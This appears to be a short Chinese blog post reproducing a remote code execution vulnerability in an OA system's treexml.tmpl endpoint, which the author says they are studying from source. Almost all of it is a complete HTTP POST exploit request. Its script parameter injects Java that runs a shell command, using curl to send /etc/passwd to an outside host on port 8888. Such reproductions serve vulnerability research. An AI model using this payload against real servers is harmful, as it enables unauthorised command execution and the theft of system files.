treexml 复现

字数统计: 313阅读时长: 1 min

 2022/08/31   Share

开始

从群里看到师傅发的oa的漏洞，跟着源码跟踪学习下

POST /data/sys-common/treexml.tmpl HTTP/1.1
Host: xxxxx:8443
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 448

s_bean=ruleFormulaValidate&script=try {
String[] cc= { "/bin/sh", "-c", "curl -X POST -d '@/etc/passwd' http://x.x.x.x:8888/111" };
Process child = Runtime.getRuntime().exec(cc);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}